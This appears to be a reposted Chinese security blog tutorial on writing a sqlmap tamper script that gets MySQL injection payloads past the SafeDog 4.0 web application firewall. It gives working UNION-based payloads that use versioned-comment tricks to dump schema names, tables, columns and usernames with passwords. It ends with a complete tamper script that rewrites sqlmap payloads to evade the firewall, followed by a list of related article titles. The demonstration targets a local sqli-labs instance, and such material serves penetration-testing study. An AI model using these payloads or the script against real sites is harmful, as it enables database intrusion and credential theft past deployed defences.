原作者:我会啊D

原文出处:https://www.t00ls.net/articles-52894.html

0x0 前言

在sql注入的时候,很可能会碰到各种厂商的waf,bypass之后,以后每次都要手工进行绕过,这样很麻烦。我们可以自己编写一个tamper,这样就达到一个自动化bypass的功能了

0x01 安全狗拦截的点

  • and 1
    只要and后面接数字,安全狗就会拦截
  • order by
    order 后面接by,安全狗就会拦截
  • USER()
    user后面接括号,安全狗就会拦截
  • union select union后面接select,安全狗就会拦截

0x02 bypass安全狗

具体过程不说了,贴出payload

1、查询用户

union/*!11440/**/select*/%201,hex(user/**/()),3

2、查询库名

union/*!11440/**/select*/%201,group_concat(schema_name),3 from `information_schema`.schemata --+

3、查询表名

union/*!11440/**/select*/ 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security' --+

4、查询列名

union/*!11440/**/select*/ 1,group_concat(column_name),3 from `information_schema`.columns where table_name='users' --+

5、查询数据

union/*!11440/**/select*/ 1,group_concat(username,password),3 from `users` --+

0x03 tamper结构

tamper由三大结构组成,如下:

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
""" from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies():
pass def tamper(payload, **kwargs):
pass

PROIORITY

PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。

dependencies

dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os __priority__ = PRIORITY.LOW def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

效果如下图:

DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:

ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"

Tamper

tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里
payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个

0x04 编写tamper

环境

攻击机:windows 10 安装有sqlmap,burpsuite
靶机:windows 7 安装有sqli-labs注入环境,安全狗4.0 ip:

思路

我们利用Burpsuite来抓sqlmap的包,然后一步步进行绕过

编写过程

sqlmap敲如下命令:

sqlmap.py -u http://192.168.1.120/sql/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --random-agent

这里解释下为什么要加--random-agent这个参数,因为安全狗看到sqlmap默认的agent头会拦截,所以我们得加这个随即头参数来进行绕过

1、识别注入

抓到的sqlmap包如图:

安全狗默认不会拦截,sqlmap就会判断可能存在注入

继续抓包

被安全狗拦截了,前面说了,安全狗拦截and 加数字,现在我们开始编写tamper

def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')

把and替换成我们前面bypass的payload,就不会拦截了。后面的order by,user(),union select同理,这里我就不一一介绍了,只讲下SESSION_USER()

2、识别数据库类型

绕过了and之后,sqlmap会识别数据库类型

虽然我们绕过了user()这个函数,安全狗还是进行了拦截,经过测试,发现安全狗拦截了SESSION_USER(),本来是想把SESSION_USER按照USER()进行绕过,也就是 hex(SESSION_user/**/()),发现会报错,如图:

因为安全狗拦截函数是拦截名称和括号之间,既然名称那饶不了,我们就在括号里做文章。最后经过测试,payload为:hex(SESSION_USER(-- B%0a))

3、注入

因为后面payload大同小异,我们只要把sqlmap原始的UNION ALL SELECT替换成union/!11440//就好了

成品

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
""" from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os __priority__ = PRIORITY.LOW def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','/*!11440order*/')
payload=payload.replace('USER())','hex(user/**/()))')
payload=payload.replace('SESSION_USER()','hex(SESSION_USER(-- B%0a))')
payload=payload.replace('UNION ALL SELECT','union/*!11440/**/select*/')
return payload

最后效果如图:

从过狗到编写tamper【转载】的更多相关文章

  1. PHP过狗webshell编写过程

    0x1 先上图: 0x2 编写过程 这里必须强调一下我内心的感觉,小阔爱前两天也研究了过狗的一句话了,然后我突然觉得大家都在进步,我研究点啥呢?不如也试试以前因为觉得自己不懂代码,而不会研究的免杀sh ...

  2. API接口测试用例编写规则(转载)

    API接口测试用例编写规则 (1)必需参数覆盖.对于接口的参数,接口文档一般都会说明哪些儿是必需的,哪儿是非必需的.对于必需的参数,一定要测试传参数和不传参数接口是否报错? (2)必需的参数各种情况覆 ...

  3. TCP/IP协议的编写《转载》

    基于HHARM9-EDU的TCP/IP(UDP)协议的实现 原文网址:http://blog.csdn.net/lhj0503/article/details/3323788 摘 要:嵌入式技术的发展 ...

  4. jquery插件编写【转载】

    如今做web开发,jquery 几乎是必不可少的,就连vs神器在2010版本开始将Jquery 及ui 内置web项目里了.至于使用jquery好处这里就不再赘述了,用过的都知道.今天我们来讨论下jq ...

  5. 基于Linux的v4l2视频架构驱动编写(转载)

    转自:http://www.linuxidc.com/Linux/2011-03/33022.htm 其实,我刚开始一直都不知道怎么写驱动,什么都不懂的,只知道我需要在做项目的过程中学习,所以,我就自 ...

  6. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

  7. GJM : 用Unity模仿CSGO里的火焰效果 [转载]

    感谢您的阅读.喜欢的.有用的就请大哥大嫂们高抬贵手"推荐一下"吧!你的精神支持是博主强大的写作动力以及转载收藏动力.欢迎转载! 版权声明:本文原创发表于 [请点击连接前往] ,未经 ...

  8. testng入门教程2用TestNG编写测试及执行测试

    编写TestNG测试基本上包括以下步骤: 测试和编写业务逻辑,在代码中插入TestNG的注解.. 添加一个testng.xml文件或build.xml中在测试信息(例如类名,您想要运行的组,等..) ...

  9. [转载]支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)

    /* *转自http://blog.csdn.net/hu3167343/article/details/36418063 *本文章由 莫灰灰 编写,转载请注明出处. *作者:莫灰灰    邮箱: m ...

随机推荐

  1. RabbitMQ实战-死信队列

    RabbitMQ死信队列 场景说明 代码实现 简单的Util 生产者 消费者 场景说明 场景: 当队列的消息未正常被消费时,如何解决? 消息被拒绝并且不再重新投递 消息超过有效期 队列超载 方案: 未 ...

  2. EasyARM-iMX283 安装NFS

    1. 安装NFS软件包在 ubuntu 上请输入下面命令:[chenxibing@localhost ~]$ sudo apt-get install nfs-kernel-server[chenxi ...

  3. JAVA基础之ServletContext应用

    创建一个登陆的界面,并且统计次数! 导入jar包; 1. driver=com.mysql.jdbc.Driver url=jdbc:mysql://localhost:3306/java0603?u ...

  4. day27-python之迭代器协议

    1.item系列方法 # class Foo: # def __getitem__(self, item): # print('getitem',item) # return self.__dict_ ...

  5. Delphi-RzDbgrid-绘制表格式设置某行颜色或者其他格式-以及隔行换色的属性

    参考文章:https://www.cnblogs.com/OSKnown/p/8568740.html 在DbgridEh和原生的Dbgrid直接在DrawColumnCell事件中写重绘代码就好了, ...

  6. git注册和基本命令

    注册账户以及创建仓库 要想使用github第一步当然是注册github账号了.之后就可以创建仓库了(免费用户只能建公共仓库),Create a New Repository,填好名称后Create,之 ...

  7. 百度云服务器CentOs6.8安装gnome图形化界面并通过VNC远程访问

    一:安装gnome桌面 利用xshell 登陆上远程主机 依次执行下列命令: [root@lys]#yum groupinstall -y "X Window System" [r ...

  8. Hibernate中的Session

    我们之前也经常使用Session,通过连接服务器将需要保存的值存到服务器的session中,这是之前关于session的简单应用.现在看到Hibernate框架中也有关于Session的定义,该定义是 ...

  9. Java—网络编程总结(整理版)

    1. 概述 计算机网络是通过传输介质.通信设施和网络通信协议,把分散在不同地点的计算机设备互连起来的,实现资源共享和数据传输的系统.网络编程就是编写程序使互联网的两个(或多个)设备(如计算机)之间进行 ...

  10. Oracle的instr()函数和substr()函数

    INSTR()函数 可以使用instr函数对某个字符串进行判断,判断其是否含有指定的字符. 在一个字符串中查找指定的字符,返回被查找到的指定的字符的位置. 语法: instr(sourceString ...